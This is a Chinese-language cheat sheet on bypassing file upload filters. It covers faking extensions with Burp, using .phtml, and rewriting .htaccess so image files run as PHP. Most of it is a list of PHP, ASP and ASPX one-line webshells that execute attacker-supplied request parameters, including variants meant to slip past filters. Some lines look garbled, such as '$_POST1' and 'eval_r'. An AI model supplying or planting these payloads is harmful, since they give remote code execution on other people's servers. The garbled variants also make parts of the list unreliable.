文件后缀过滤
前端过滤
将一句话木马后缀改为允许上传的文件名,burp 抓取流量修改 post 包里面的 filename 后缀名为 php
后端过滤
phtml
可以代替php
,两者都能被当作 php 代码被执行
WebShell一句话
PHP一句话
<?php eval($_POST1);?>
<?php @eval($_POST['value']);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php @eval($_POST[sb])?>
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
<?php eval($_POST[sb])?>
<?php assert($_POST[sb]);?>
<?$_POST['sa']($_POST['sb']);?>
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
<?php @preg_replace("/[emai]/e",$_POST['h'],"error");?>
<script language="php">@eval($_POST[sb])</script> //PHP5.X下可以用于绕过<?
ASP一句话
<%eval request("MH")%>
<%execute request("MH")%>
<%execute(request("MH"))%>
<%If Request("MH")<>"" Then Execute(Request("MH"))%>
<%if request ("MH")<>""then session("MH")=request("MH"):end if:if session("MH")<>"" then execute session("MH")%>
<SCRIPT language=VBScript runat="server">execute request("MH")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["MH"],"unsafe");%>
ASPX一句话
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
.htaccess修改文件后缀(文件解析漏洞)
启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:
AddType application/x-httpd-php .jpg //jpg解析为php
SetHandler application/x-httpd-php //任意后缀均被解析为php
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
//文件1.png被解析为php
改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行
利用思路
当限制不能使用后缀名含有 ph
,没有文件包含,通过修改 .htaccess ,将其他文件解析成 php 文件。
Nginx与.htaccess
.htaccess 是 Apache 的特性,Nginx 默认不支持,但可以通过修改配置文件让 Nginx 也支持 .htaccess 。